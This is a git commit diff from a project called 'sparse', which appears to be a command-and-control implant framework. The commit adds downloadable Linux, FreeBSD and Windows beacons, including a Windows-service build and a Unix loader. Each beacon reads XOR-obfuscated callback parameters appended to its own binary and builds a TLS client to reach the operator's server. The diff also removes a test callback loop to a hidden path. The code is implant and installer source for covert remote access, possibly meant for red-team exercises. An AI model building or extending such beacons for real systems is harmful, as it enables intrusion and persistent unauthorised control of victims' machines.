fix: everything builds

made it also possible to download individual beacons as opposed to just
the installer, to provide more options and make it easier to test
This commit is contained in:
Andrew Rioux 2025-02-13 15:03:14 -05:00
parent 75b53f7191
commit c0fe4f2bdb
Signed by: andrew.rioux
GPG Key ID: 9B8BAC47C17ABB94
25 changed files with 370 additions and 146 deletions

7
Cargo.lock generated
View File

@ -3377,7 +3377,6 @@ dependencies = [
"hyper", "hyper",
"hyper-rustls", "hyper-rustls",
"hyper-util", "hyper-util",
"nl-sys",
"packets", "packets",
"pcap-sys", "pcap-sys",
"pin-project", "pin-project",
@ -3459,8 +3458,14 @@ dependencies = [
name = "sparse-unix-beacon" name = "sparse-unix-beacon"
version = "2.0.0" version = "2.0.0"
dependencies = [ dependencies = [
"async-trait",
"errno", "errno",
"libc", "libc",
"nl-sys",
"sparse-actions",
"sparse-beacon",
"thiserror 2.0.11",
"tokio",
] ]
[[package]] [[package]]

View File

@ -183,6 +183,17 @@ let
CARGO_BUILD_RUSTFLAGS = "-Ctarget-feature=+crt-static"; CARGO_BUILD_RUSTFLAGS = "-Ctarget-feature=+crt-static";
}); });
sparse-beacon-windows-svc = craneLib.buildPackage (windowsArgs // {
cargoArtifacts = windowsCargoArtifacts;
name = "sparse-beacon-windows";
cargoExtraArgs = "-p sparse-windows-beacon --features=service";
src =
fileSetForBeaconCrate ./sparse-windows-beacon ./sparse-windows-infector;
CARGO_BUILD_TARGET = "x86_64-pc-windows-gnu";
CARGO_BUILD_RUSTFLAGS = "-Ctarget-feature=+crt-static";
});
linux-loader = pkgs.stdenv.mkDerivation { linux-loader = pkgs.stdenv.mkDerivation {
name = "sparse-linux-loader"; name = "sparse-linux-loader";
@ -206,7 +217,7 @@ let
''; '';
}; };
freebsd-loader = pkgs.stdenv.mkDerivation { freebsd-loader-sysv = pkgs.stdenv.mkDerivation {
name = "sparse-freebsd-loader"; name = "sparse-freebsd-loader";
buildInputs = with pkgs; [ zig ]; buildInputs = with pkgs; [ zig ];
@ -231,6 +242,8 @@ let
''; '';
}; };
freebsd-loader = patch-freebsd-elf freebsd-loader-sysv "bin/unix-loader";
sparse-installer-linux = craneLib.buildPackage (linuxArgs // { sparse-installer-linux = craneLib.buildPackage (linuxArgs // {
cargoArtifacts = linuxCargoArtifacts; cargoArtifacts = linuxCargoArtifacts;
name = "sparse-installer-linux"; name = "sparse-installer-linux";
@ -254,7 +267,7 @@ let
CARGO_BUILD_TARGET = "x86_64-unknown-linux-musl"; CARGO_BUILD_TARGET = "x86_64-unknown-linux-musl";
CARGO_BUILD_RUSTFLAGS = "-Ctarget-feature=+crt-static"; CARGO_BUILD_RUSTFLAGS = "-Ctarget-feature=+crt-static";
SPARSE_LOADER = "${freebsd-loader}/lib/libunix-loader-freebsd.so"; SPARSE_LOADER = "${freebsd-loader-sysv}/lib/libunix-loader-freebsd.so";
}); });
sparse-installer-freebsd = sparse-installer-freebsd =
@ -270,12 +283,11 @@ let
CARGO_BUILD_TARGET = "x86_64-pc-windows-gnu"; CARGO_BUILD_TARGET = "x86_64-pc-windows-gnu";
CARGO_BUILD_RUSTFLAGS = "-Ctarget-feature=+crt-static"; CARGO_BUILD_RUSTFLAGS = "-Ctarget-feature=+crt-static";
SPARSE_BEACON_WINDOWS = SPARSE_LIBRARY = "${sparse-beacon-windows}/lib/sparse_windows_beacon.dll";
"${sparse-beacon-windows}/lib/sparse_windows_beacon.dll";
}); });
sparse-server = craneLib.mkCargoDerivation (commonArgs // { sparse-server = craneLib.mkCargoDerivation (commonArgs // {
src = (builtins.trace "${fileSetForWebCrate}") fileSetForWebCrate; src = fileSetForWebCrate;
cargoArtifacts = gnuLinuxCargoArtifacts; cargoArtifacts = gnuLinuxCargoArtifacts;
@ -303,6 +315,15 @@ let
"${sparse-installer-freebsd}/bin/sparse-unix-installer"; "${sparse-installer-freebsd}/bin/sparse-unix-installer";
SPARSE_INSTALLER_WINDOWS = SPARSE_INSTALLER_WINDOWS =
"${sparse-installer-windows}/bin/sparse-windows-installer.exe"; "${sparse-installer-windows}/bin/sparse-windows-installer.exe";
SPARSE_BEACON_LINUX = "${sparse-beacon-linux}/bin/sparse-unix-beacon";
SPARSE_BEACON_LINUX_LOADER = "${linux-loader}/bin/unix-loader";
SPARSE_BEACON_FREEBSD = "${sparse-beacon-freebsd}/bin/sparse-unix-beacon";
SPARSE_BEACON_FREEBSD_LOADER = "${freebsd-loader}/bin/unix-loader";
SPARSE_BEACON_WINDOWS =
"${sparse-beacon-windows}/bin/sparse-windows-beacon.exe";
SPARSE_BEACON_WINDOWS_SVC =
"${sparse-beacon-windows-svc}/bin/sparse-windows-beacon.exe";
}); });
sparse-server-docker = pkgs.dockerTools.buildImage { sparse-server-docker = pkgs.dockerTools.buildImage {
@ -317,11 +338,9 @@ let
outputs = rec { outputs = rec {
packages = { packages = {
inherit sparse-server sparse-server-docker sparse-beacon-linux inherit sparse-server sparse-server-docker sparse-beacon-linux
sparse-beacon-freebsd sparse-beacon-windows linux-loader freebsd-loader sparse-beacon-freebsd sparse-beacon-windows sparse-beacon-windows-svc
sparse-installer-linux sparse-installer-freebsd linux-loader freebsd-loader-sysv sparse-installer-linux
sparse-installer-windows; sparse-installer-freebsd sparse-installer-windows;
inherit freebsd-zig-libc;
default = sparse-server; default = sparse-server;
}; };

View File

@ -20,10 +20,9 @@ tower-service = "0.3.3"
futures = "0.3.31" futures = "0.3.31"
simple_logger = "5.0.0" simple_logger = "5.0.0"
http = "1.2.0" http = "1.2.0"
bytes = "1.10.0"
http-body-util = "0.1.2"
pcap-sys = { version = "0.1.0", path = "../pcap-sys" } pcap-sys = { version = "0.1.0", path = "../pcap-sys" }
sparse-actions = { version = "2.0.0", path = "../sparse-actions" } sparse-actions = { version = "2.0.0", path = "../sparse-actions" }
packets = { version = "0.1.0", path = "../packets" } packets = { version = "0.1.0", path = "../packets" }
nl-sys = { version = "0.1.0", path = "../nl-sys" }
bytes = "1.10.0"
http-body-util = "0.1.2"

View File

@ -23,7 +23,9 @@ pub struct BeaconInterface {
#[async_trait::async_trait] #[async_trait::async_trait]
pub trait BeaconAdapter { pub trait BeaconAdapter {
type Error: error::AdapterError + Send + Sync;
fn interface_name_from_interface(interface: &BeaconInterface) -> Vec<u8>; fn interface_name_from_interface(interface: &BeaconInterface) -> Vec<u8>;
fn networking_info(&self) -> Result<BeaconNetworkingInfo, error::BeaconError>; fn networking_info(&self) -> Result<BeaconNetworkingInfo, error::BeaconError<Self::Error>>;
} }

View File

@ -1,9 +1,6 @@
use std::{future::Future, pin::Pin, task::{self, Poll}}; use std::{future::Future, pin::Pin, task::{self, Poll}};
use futures::stream::StreamExt;
use http::Uri; use http::Uri;
use http_body_util::{Empty, BodyExt};
use hyper::Request;
use hyper_util::{client::legacy::Client, rt::{TokioExecutor, TokioIo}}; use hyper_util::{client::legacy::Client, rt::{TokioExecutor, TokioIo}};
use rustls::RootCertStore; use rustls::RootCertStore;
use tower_service::Service; use tower_service::Service;
@ -26,7 +23,7 @@ where
T: adapter::BeaconAdapter + Clone + Send + Sync + 'static T: adapter::BeaconAdapter + Clone + Send + Sync + 'static
{ {
type Response = TokioIo<tcp::NetInterfaceHandle>; type Response = TokioIo<tcp::NetInterfaceHandle>;
type Error = error::BeaconError; type Error = error::BeaconError<T::Error>;
type Future = Pin<Box< type Future = Pin<Box<
dyn Future<Output = Result<Self::Response, Self::Error>> + Send dyn Future<Output = Result<Self::Response, Self::Error>> + Send
>>; >>;
@ -48,12 +45,14 @@ where
} }
} }
pub async fn perform_callback<T>( pub async fn obtain_https_client<T, B>(
adapter: &T, adapter: &T,
parameters: &Parameters, parameters: &Parameters,
) -> Result<(), error::BeaconError> ) -> Result<Client<hyper_rustls::HttpsConnector<ServerConnector<T>>, B>, error::BeaconError<T::Error>>
where where
T: adapter::BeaconAdapter + Clone + Send + Sync + 'static, T: adapter::BeaconAdapter + Clone + Send + Sync + 'static,
B: hyper::body::Body + Send,
<B as hyper::body::Body>::Data: Send
{ {
let server_cert = rustls::pki_types::CertificateDer::from( let server_cert = rustls::pki_types::CertificateDer::from(
parameters.pubkey_cert[..parameters.pubkey_cert_size as usize].to_owned() parameters.pubkey_cert[..parameters.pubkey_cert_size as usize].to_owned()
@ -93,17 +92,5 @@ where
let client = Client::builder(TokioExecutor::new()) let client = Client::builder(TokioExecutor::new())
.build(https); .build(https);
for _ in 1..5 { Ok(client)
let req = Request::builder()
.uri("https://sparse.com/hidden_sparse/test".parse::<hyper::Uri>()?)
.body(Empty::<bytes::Bytes>::new())?;
let resp = client.request(req).await?;
println!("{:?} {:?}", resp.version(), resp.status());
let body = resp.into_body();
let body = body.collect().await;
println!("{:?}", body);
}
Ok(())
} }

View File

@ -1,7 +1,12 @@
use thiserror::Error; use thiserror::Error;
pub trait AdapterError: std::error::Error {}
#[derive(Error, Debug)] #[derive(Error, Debug)]
pub enum BeaconError { pub enum BeaconError<T>
where
T: AdapterError,
{
#[error("io error")] #[error("io error")]
Io(#[from] std::io::Error), Io(#[from] std::io::Error),
#[error("pcap error")] #[error("pcap error")]
@ -14,8 +19,6 @@ pub enum BeaconError {
NoDefaultRoute, NoDefaultRoute,
#[error("connection error")] #[error("connection error")]
Connect(#[from] smoltcp::socket::tcp::ConnectError), Connect(#[from] smoltcp::socket::tcp::ConnectError),
#[error("netlink error")]
Nl(#[from] nl_sys::error::Error),
#[error("http comms error")] #[error("http comms error")]
Http(#[from] http::Error), Http(#[from] http::Error),
#[error("uri parse error")] #[error("uri parse error")]
@ -24,4 +27,6 @@ pub enum BeaconError {
HyperError(#[from] hyper_util::client::legacy::Error), HyperError(#[from] hyper_util::client::legacy::Error),
#[error("rustls")] #[error("rustls")]
Rustls(#[from] rustls::Error), Rustls(#[from] rustls::Error),
#[error("adapter error")]
Adapter(#[from] T),
} }

View File

@ -8,11 +8,10 @@ pub mod adapter;
pub mod error; pub mod error;
pub use error::BeaconError; pub use error::BeaconError;
pub async fn run_beacon_step<A>(host_adapter: A, params: Parameters) -> Result<(), BeaconError> pub async fn run_beacon_step<A>(host_adapter: A, params: Parameters) -> Result<(), BeaconError<A::Error>>
where where
A: adapter::BeaconAdapter + Clone + Send + Sync + 'static, A: adapter::BeaconAdapter + Clone + Send + Sync + 'static,
{ {
callback::perform_callback(&host_adapter, &params).await?;
Ok(()) Ok(())
} }

View File

@ -18,7 +18,7 @@ impl RawSocket {
a_interface: &adapter::BeaconInterface, a_interface: &adapter::BeaconInterface,
promisc: bool, promisc: bool,
port: u16, port: u16,
) -> Result<Self, error::BeaconError> { ) -> Result<Self, error::BeaconError<T::Error>> {
let name_raw = T::interface_name_from_interface(&a_interface); let name_raw = T::interface_name_from_interface(&a_interface);
let name = std::str::from_utf8(&name_raw)?; let name = std::str::from_utf8(&name_raw)?;
let mut lower = Interface::new(name)?; let mut lower = Interface::new(name)?;

View File

@ -150,7 +150,7 @@ impl connect::Connection for NetInterfaceHandle {
pub async fn setup_network<T>( pub async fn setup_network<T>(
adapter: T, adapter: T,
parameters: Parameters, parameters: Parameters,
) -> Result<NetInterfaceHandle, error::BeaconError> ) -> Result<NetInterfaceHandle, error::BeaconError<T::Error>>
where where
T: adapter::BeaconAdapter + Clone + Send + 'static, T: adapter::BeaconAdapter + Clone + Send + 'static,
{ {

View File

@ -1,16 +1,21 @@
{ {
"db_name": "SQLite", "db_name": "SQLite",
"query": "SELECT certificate, privkey FROM beacon_listener WHERE listener_id = ?", "query": "SELECT domain_name, certificate, privkey FROM beacon_listener WHERE listener_id = ?",
"describe": { "describe": {
"columns": [ "columns": [
{ {
"name": "certificate", "name": "domain_name",
"ordinal": 0, "ordinal": 0,
"type_info": "Text"
},
{
"name": "certificate",
"ordinal": 1,
"type_info": "Blob" "type_info": "Blob"
}, },
{ {
"name": "privkey", "name": "privkey",
"ordinal": 1, "ordinal": 2,
"type_info": "Blob" "type_info": "Blob"
} }
], ],
@ -18,9 +23,10 @@
"Right": 1 "Right": 1
}, },
"nullable": [ "nullable": [
false,
false, false,
false false
] ]
}, },
"hash": "f3e4ad6219ca2d79c807312d67084ceaea2da43d9ce3741a4b47b3ae1ebca342" "hash": "2d69fc5f5de4a3815f6da30be8d21fb922295560a2aecb0532eeab17a52896e5"
} }

View File

@ -0,0 +1,12 @@
{
"db_name": "SQLite",
"query": "INSERT INTO beacon_template\n (template_name, operating_system, config_id, listener_id, source_ip,\n source_mac, source_mode, default_category, client_key, client_cert,\n source_interface)\n VALUES\n (?, ?, ?, ?, ?, ?, 'host', ?, ?, ?, ?)",
"describe": {
"columns": [],
"parameters": {
"Right": 10
},
"nullable": []
},
"hash": "66c0f884f6640f8c3570e52beca741d1818509ded4d4e33e5eba333fcab30b98"
}

View File

@ -1,6 +1,6 @@
{ {
"db_name": "SQLite", "db_name": "SQLite",
"query": "SELECT operating_system, source_ip, source_mac, source_mode, source_netmask,\n source_gateway, port, public_ip, domain_name, certificate, client_cert, client_key\n FROM beacon_template JOIN beacon_listener", "query": "SELECT operating_system, source_ip, source_mac, source_mode, source_netmask,\n source_gateway, port, public_ip, domain_name, certificate, client_cert, client_key,\n source_interface\n FROM beacon_template JOIN beacon_listener",
"describe": { "describe": {
"columns": [ "columns": [
{ {
@ -62,6 +62,11 @@
"name": "client_key", "name": "client_key",
"ordinal": 11, "ordinal": 11,
"type_info": "Blob" "type_info": "Blob"
},
{
"name": "source_interface",
"ordinal": 12,
"type_info": "Blob"
} }
], ],
"parameters": { "parameters": {
@ -79,8 +84,9 @@
false, false,
false, false,
false, false,
false false,
true
] ]
}, },
"hash": "0e151259a31b9fd02a31a207da7c4b8b817d57d9da5765a64ca2a320dc38a625" "hash": "75816d6d1484350d4a1c37b6679237007868f10438ee9cbd7ae67eeaa345be0f"
} }

View File

@ -1,12 +0,0 @@
{
"db_name": "SQLite",
"query": "INSERT INTO beacon_template\n (template_name, operating_system, config_id, listener_id, source_ip, source_mac, source_mode, source_netmask, source_gateway, default_category, client_key, client_cert)\n VALUES\n (?, ?, ?, ?, ?, ?, 'host', ?, ?, ?, ?, ?)",
"describe": {
"columns": [],
"parameters": {
"Right": 11
},
"nullable": []
},
"hash": "a65057fab44005996c4e5c8b0f2a69b7d786622c116452e8a131145b0832b43b"
}

View File

@ -1,12 +0,0 @@
{
"db_name": "SQLite",
"query": "INSERT INTO beacon_template\n (template_name, operating_system, config_id, listener_id, source_ip, source_mac, source_mode, default_category, client_key, client_cert)\n VALUES\n (?, ?, ?, ?, ?, ?, 'host', ?, ?, ?)",
"describe": {
"columns": [],
"parameters": {
"Right": 9
},
"nullable": []
},
"hash": "ab8bbbbe0e7b3eb64dc274fb3e7e1724d2e93541bc9156cde2fdf0876712c7f5"
}

View File

@ -0,0 +1,12 @@
{
"db_name": "SQLite",
"query": "INSERT INTO beacon_template\n (template_name, operating_system, config_id, listener_id, source_ip,\n source_mac, source_mode, source_netmask, source_gateway, default_category,\n client_key, client_cert, source_interface)\n VALUES\n (?, ?, ?, ?, ?, ?, 'host', ?, ?, ?, ?, ?, ?)",
"describe": {
"columns": [],
"parameters": {
"Right": 12
},
"nullable": []
},
"hash": "bb55c34fc7e98138c4850452430fd8a6a1e65f84591ab069893cec65e8daaf83"
}

View File

@ -437,10 +437,37 @@ pub fn DisplayTemplates(
<a <a
class="button" class="button"
download="" download=""
href=format!("/installer/{}", template.template_id) href=format!("/binaries/installer/{}", template.template_id)
> >
"Download installer" "Download installer"
</a> </a>
<a
class="button"
download=""
href=format!("/binaries/beacon/{}", template.template_id)
>
"Download beacon"
</a>
{(template.operating_system == "windows")
.then(|| view! {
<a
class="button"
download=""
href=format!("/binaries/beacon/{}?use_svc=true", template.template_id)
>
"Download beacon (Windows Service)"
</a>
})}
{(template.operating_system != "windows")
.then(|| view! {
<a
class="button"
download=""
href=format!("/binaries/beacon/{}?use_loader=true", template.template_id)
>
"Download beacon (Unix loader)"
</a>
})}
<button <button
on:click={ on:click={
let template_id = template.template_id; let template_id = template.template_id;
@ -456,7 +483,12 @@ pub fn DisplayTemplates(
<div> <div>
<ul> <ul>
<li>"Source IP: "{template.source_ip.clone()}</li> <li>"Source IP: "{template.source_ip.clone()}</li>
<li>"Source MAC: "{template.source_mac.clone().unwrap_or("00:00:00:00:00:00".to_owned())}</li> {template
.source_mac
.clone()
.map(|m| view! {
<li>"Source MAC: "{m}</li>
})}
<li> <li>
"Source mode: " "Source mode: "
{match template.source_mode.clone() { {match template.source_mode.clone() {

View File

@ -1,13 +1,14 @@
use std::{net::SocketAddrV4, process::ExitCode}; use std::{net::SocketAddrV4, process::ExitCode};
use axum::{ use axum::{
extract::{FromRef, Path, State}, extract::{FromRef, Path, Query, State},
response::IntoResponse, response::IntoResponse,
routing::get, routing::get,
Router, Router,
}; };
use leptos::prelude::*; use leptos::prelude::*;
use leptos_axum::{generate_route_list, LeptosRoutes}; use leptos_axum::{generate_route_list, LeptosRoutes};
use serde::Deserialize;
use sqlx::sqlite::SqlitePool; use sqlx::sqlite::SqlitePool;
use tokio::signal; use tokio::signal;
@ -20,6 +21,17 @@ pub(crate) mod beacon_binaries {
include_bytes!(std::env!("SPARSE_INSTALLER_FREEBSD")); include_bytes!(std::env!("SPARSE_INSTALLER_FREEBSD"));
pub const WINDOWS_INSTALLER: &'static [u8] = pub const WINDOWS_INSTALLER: &'static [u8] =
include_bytes!(std::env!("SPARSE_INSTALLER_WINDOWS")); include_bytes!(std::env!("SPARSE_INSTALLER_WINDOWS"));
pub const LINUX_BEACON: &'static [u8] = include_bytes!(std::env!("SPARSE_BEACON_LINUX"));
pub const LINUX_BEACON_LOADER: &'static [u8] = include_bytes!(std::env!("SPARSE_BEACON_LINUX_LOADER"));
pub const FREEBSD_BEACON: &'static [u8] =
include_bytes!(std::env!("SPARSE_BEACON_FREEBSD"));
pub const FREEBSD_BEACON_LOADER: &'static [u8] =
include_bytes!(std::env!("SPARSE_BEACON_FREEBSD_LOADER"));
pub const WINDOWS_BEACON: &'static [u8] =
include_bytes!(std::env!("SPARSE_BEACON_WINDOWS"));
pub const WINDOWS_BEACON_SVC: &'static [u8] =
include_bytes!(std::env!("SPARSE_BEACON_WINDOWS_SVC"));
} }
#[cfg(debug_assertions)] #[cfg(debug_assertions)]
@ -27,7 +39,7 @@ pub async fn get_installer(btype: &str) -> Result<Vec<u8>, crate::error::Error>
let path = match btype { let path = match btype {
"linux" => "target/x86_64-unknown-linux-musl/debug/sparse-unix-installer", "linux" => "target/x86_64-unknown-linux-musl/debug/sparse-unix-installer",
"freebsd" => "target/x86_64-unknown-freebsd/debug/sparse-unix-installer", "freebsd" => "target/x86_64-unknown-freebsd/debug/sparse-unix-installer",
"windows" => "target/x86_64-pc-windows-gnu/debug/sparse-unix-installer", "windows" => "target/x86_64-pc-windows-gnu/debug/sparse-windows-installer",
other => { other => {
return Err(crate::error::Error::Generic(format!( return Err(crate::error::Error::Generic(format!(
"unknown beacon type: {other}" "unknown beacon type: {other}"
@ -49,17 +61,50 @@ pub async fn get_installer(btype: &str) -> Result<Vec<u8>, crate::error::Error>
} }
} }
#[cfg(debug_assertions)]
pub async fn get_beacon(btype: &str) -> Result<Vec<u8>, crate::error::Error> {
let path = match btype {
"linux" => "target/x86_64-unknown-linux-musl/debug/sparse-unix-beacon",
"linux-loader" => "unix-loader/zig-out/bin/unix-loader",
"freebsd" => "target/x86_64-unknown-freebsd/debug/sparse-unix-beacon",
"freebsd-loader" => "unix-loader/zig-out/bin/unix-loader",
"windows" => "target/x86_64-pc-windows-gnu/debug/sparse-windows-beacon.exe",
"windows-svc" => "target/x86_64-pc-windows-gnu/debug/sparse-windows-beacon.exe",
other => {
return Err(crate::error::Error::Generic(format!(
"unknown beacon type: {other}"
)))
}
};
Ok(tokio::fs::read(path).await?)
}
#[cfg(not(debug_assertions))]
pub async fn get_beacon(btype: &str) -> Result<Vec<u8>, crate::error::Error> {
match btype {
"linux" => Ok(beacon_binaries::LINUX_BEACON.to_owned()),
"linux-loader" => Ok(beacon_binaries::LINUX_BEACON_LOADER.to_owned()),
"windows" => Ok(beacon_binaries::WINDOWS_BEACON.to_owned()),
"windows" => Ok(beacon_binaries::WINDOWS_BEACON.to_owned()),
"windows-svc" => Ok(beacon_binaries::WINDOWS_BEACON_SVC.to_owned()),
"freebsd" => Ok(beacon_binaries::FREEBSD_BEACON.to_owned()),
"freebsd-loader" => Ok(beacon_binaries::FREEBSD_BEACON_LOADER.to_owned()),
other => Err(crate::error::Error::Generic(format!(
"unknown beacon type: {other}"
))),
}
}
#[derive(FromRef, Clone, Debug)] #[derive(FromRef, Clone, Debug)]
pub struct AppState { pub struct AppState {
db: SqlitePool, db: SqlitePool,
leptos_options: leptos::config::LeptosOptions, leptos_options: leptos::config::LeptosOptions,
} }
#[axum::debug_handler] async fn get_parameters_bytes(
pub async fn download_beacon_installer( template_id: i64,
Path(template_id): Path<i64>, db: SqlitePool
State(db): State<AppState>, ) -> Result<(Vec<u8>, String), crate::error::Error> {
) -> Result<impl IntoResponse, crate::error::Error> {
use rand::{rngs::OsRng, TryRngCore}; use rand::{rngs::OsRng, TryRngCore};
use sparse_actions::payload_types::{Parameters_t, XOR_KEY}; use sparse_actions::payload_types::{Parameters_t, XOR_KEY};
@ -75,7 +120,7 @@ pub async fn download_beacon_installer(
source_interface source_interface
FROM beacon_template JOIN beacon_listener" FROM beacon_template JOIN beacon_listener"
) )
.fetch_one(&db.db) .fetch_one(&db)
.await?; .await?;
let dest_ip = template.public_ip.parse::<std::net::Ipv4Addr>()?; let dest_ip = template.public_ip.parse::<std::net::Ipv4Addr>()?;
@ -172,13 +217,67 @@ pub async fn download_beacon_installer(
parameters.domain_name[..domain_name.len()].copy_from_slice(&domain_name[..]); parameters.domain_name[..domain_name.len()].copy_from_slice(&domain_name[..]);
parameters.domain_name_length = domain_name.len() as u16; parameters.domain_name_length = domain_name.len() as u16;
let installer_bytes = get_installer(&template.operating_system).await?;
let parameters_bytes = parameters_buffer let parameters_bytes = parameters_buffer
.iter() .iter()
.map(|b| b ^ (XOR_KEY as u8)) .map(|b| b ^ (XOR_KEY as u8))
.collect::<Vec<_>>(); .collect::<Vec<_>>();
Ok((parameters_bytes, template.operating_system.clone()))
}
#[derive(Debug, Deserialize)]
pub struct BeaconDownloadParams {
use_svc: Option<bool>,
use_loader: Option<bool>,
}
pub async fn download_beacon(
Path(template_id): Path<i64>,
State(db): State<AppState>,
Query(beacon_params): Query<BeaconDownloadParams>
) -> Result<impl IntoResponse, crate::error::Error> {
println!("Params: {beacon_params:?}");
let (parameters_bytes, operating_system) = get_parameters_bytes(template_id, db.db).await?;
let binary = if beacon_params.use_svc.unwrap_or_default() {
"windows-svc".to_string()
} else if beacon_params.use_loader.unwrap_or_default() {
format!("{operating_system}-loader")
} else {
operating_system.clone()
};
let installer_bytes = get_beacon(&binary).await?;
use axum::http::header;
Ok((
[
(header::CONTENT_TYPE, "application/octet-stream".to_string()),
(
header::CONTENT_DISPOSITION,
format!(
r#"attachement; filename="sparse-beacon{}""#,
if operating_system.starts_with("windows") {
".exe"
} else {
""
}
),
),
],
[&installer_bytes[..], &parameters_bytes[..]].concat(),
))
}
pub async fn download_beacon_installer(
Path(template_id): Path<i64>,
State(db): State<AppState>,
) -> Result<impl IntoResponse, crate::error::Error> {
let (parameters_bytes, operating_system) = get_parameters_bytes(template_id, db.db).await?;
let installer_bytes = get_installer(&operating_system).await?;
use axum::http::header; use axum::http::header;
Ok(( Ok((
@ -188,7 +287,7 @@ pub async fn download_beacon_installer(
header::CONTENT_DISPOSITION, header::CONTENT_DISPOSITION,
format!( format!(
r#"attachement; filename="sparse-installer{}""#, r#"attachement; filename="sparse-installer{}""#,
if template.operating_system == "windows" { if operating_system.starts_with("windows") {
".exe" ".exe"
} else { } else {
"" ""
@ -223,7 +322,8 @@ pub async fn serve_web(
}; };
let app = Router::new() let app = Router::new()
.route("/installer/:template_id", get(download_beacon_installer)) .route("/binaries/installer/:template_id", get(download_beacon_installer))
.route("/binaries/beacon/:template_id", get(download_beacon))
.leptos_routes_with_context( .leptos_routes_with_context(
&state, &state,
routes, routes,

View File

@ -6,3 +6,12 @@ version.workspace = true
[dependencies] [dependencies]
libc = "0.2" libc = "0.2"
errno = "0.3" errno = "0.3"
async-trait = "0.1.86"
tokio = { version = "1.43.0", features = ["fs", "macros", "rt"] }
thiserror = "2.0.11"
sparse-beacon = { version = "0.7.0", path = "../sparse-beacon" }
sparse-actions = { version = "2.0.0", path = "../sparse-actions" }
[target.'cfg(target_os = "linux")'.dependencies]
nl-sys = { version = "0.1.0", path = "../nl-sys" }

View File

@ -0,0 +1,30 @@
use std::net::Ipv4Addr;
use sparse_beacon::{
adapter::{BeaconAdapter, BeaconInterface, BeaconNetworkingInfo, BeaconRoute},
error,
};
#[derive(thiserror::Error, Debug)]
pub enum FreeBsdAdapterError {}
impl sparse_beacon::error::AdapterError for FreeBsdAdapterError {}
#[derive(Clone)]
pub struct FreeBsdAdapter;
#[async_trait::async_trait]
impl BeaconAdapter for FreeBsdAdapter {
type Error = FreeBsdAdapterError;
fn interface_name_from_interface(interface: &BeaconInterface) -> Vec<u8> {
interface.name.clone()
}
fn networking_info(&self) -> Result<BeaconNetworkingInfo, error::BeaconError<Self::Error>> {
Ok(BeaconNetworkingInfo {
routes: vec![],
interfaces: vec![],
})
}
}

View File

@ -1,29 +1,36 @@
use std::{io::SeekFrom, net::Ipv4Addr}; use std::net::Ipv4Addr;
use tokio::io::{AsyncReadExt, AsyncSeekExt};
use nl_sys::netlink; use nl_sys::netlink;
use sparse_actions::payload_types::{Parameters, XOR_KEY};
use sparse_beacon::{ use sparse_beacon::{
adapter::{BeaconAdapter, BeaconInterface, BeaconNetworkingInfo, BeaconRoute}, adapter::{BeaconAdapter, BeaconInterface, BeaconNetworkingInfo, BeaconRoute},
error, error,
}; };
#[derive(thiserror::Error, Debug)]
pub enum LinuxAdapterError {
#[error("netlink error")]
Nl(#[from] nl_sys::error::Error),
}
impl sparse_beacon::error::AdapterError for LinuxAdapterError {}
#[derive(Clone)] #[derive(Clone)]
struct LinuxAdapter; pub struct LinuxAdapter;
#[async_trait::async_trait] #[async_trait::async_trait]
impl BeaconAdapter for LinuxAdapter { impl BeaconAdapter for LinuxAdapter {
type Error = LinuxAdapterError;
fn interface_name_from_interface(interface: &BeaconInterface) -> Vec<u8> { fn interface_name_from_interface(interface: &BeaconInterface) -> Vec<u8> {
interface.name.clone() interface.name.clone()
} }
fn networking_info(&self) -> Result<BeaconNetworkingInfo, error::BeaconError> { fn networking_info(&self) -> Result<BeaconNetworkingInfo, error::BeaconError<Self::Error>> {
let nlsock = netlink::Socket::new()?; let nlsock = netlink::Socket::new().map_err(LinuxAdapterError::Nl)?;
let routes = nlsock.get_routes()?; let routes = nlsock.get_routes().map_err(LinuxAdapterError::Nl)?;
let links = nlsock.get_links()?; let links = nlsock.get_links().map_err(LinuxAdapterError::Nl)?;
let links_vec = links.iter().collect::<Vec<_>>(); let links_vec = links.iter().collect::<Vec<_>>();
Ok(BeaconNetworkingInfo { Ok(BeaconNetworkingInfo {
@ -82,32 +89,3 @@ impl BeaconAdapter for LinuxAdapter {
}) })
} }
} }
#[tokio::main]
async fn main() -> Result<(), sparse_beacon::BeaconError> {
let installer = std::env::args()
.skip(1)
.next()
.expect("Could not get a reference to a sparse installer");
let mut installer_file = tokio::fs::OpenOptions::new()
.read(true)
.open(installer)
.await?;
let parameters_size = std::mem::size_of::<Parameters>() as i64;
installer_file.seek(SeekFrom::End(-parameters_size)).await?;
let mut parameters_buffer = Vec::with_capacity(parameters_size as usize);
installer_file.read_to_end(&mut parameters_buffer).await?;
for b in parameters_buffer.iter_mut() {
*b = *b ^ (XOR_KEY as u8);
}
let parameters: Parameters =
unsafe { std::mem::transmute(*(parameters_buffer.as_ptr() as *const Parameters)) };
sparse_beacon::run_beacon_step(LinuxAdapter, parameters).await?;
Ok(())
}

View File

@ -1,14 +1,41 @@
fn main() { use std::io::SeekFrom;
println!("Hello, world!");
use tokio::io::{AsyncSeekExt, AsyncReadExt};
use sparse_actions::payload_types::{Parameters, XOR_KEY};
use sparse_beacon::adapter::BeaconAdapter;
#[cfg(target_os = "linux")]
mod linux;
#[cfg(target_os = "linux")]
use linux::LinuxAdapter as Adapter;
#[cfg(target_os = "freebsd")] #[cfg(target_os = "freebsd")]
unsafe { mod freebsd;
let sem = libc::sem_open(c"/libcrypto".as_ptr(), 0); #[cfg(target_os = "freebsd")]
libc::sem_post(sem); use freebsd::FreeBsdAdapter as Adapter;
#[tokio::main]
async fn main() -> Result<(), sparse_beacon::BeaconError<<Adapter as BeaconAdapter>::Error>> {
let mut binary_file = tokio::fs::OpenOptions::new()
.read(true)
.open(std::env::current_exe()?)
.await?;
let parameters_size = std::mem::size_of::<Parameters>() as i64;
binary_file.seek(SeekFrom::End(-parameters_size)).await?;
let mut parameters_buffer = Vec::with_capacity(parameters_size as usize);
binary_file.read_to_end(&mut parameters_buffer).await?;
for b in parameters_buffer.iter_mut() {
*b = *b ^ (XOR_KEY as u8);
} }
println!("Hello, world!"); let parameters: Parameters =
unsafe { println!("\n{}\n", libc::getpid()) }; unsafe { std::mem::transmute(*(parameters_buffer.as_ptr() as *const Parameters)) };
loop {} sparse_beacon::run_beacon_step(Adapter, parameters).await?;
Ok(())
} }

View File

@ -11,3 +11,6 @@ anyhow = "1.0.95"
pcap-sys = { version = "0.1.0", path = "../pcap-sys" } pcap-sys = { version = "0.1.0", path = "../pcap-sys" }
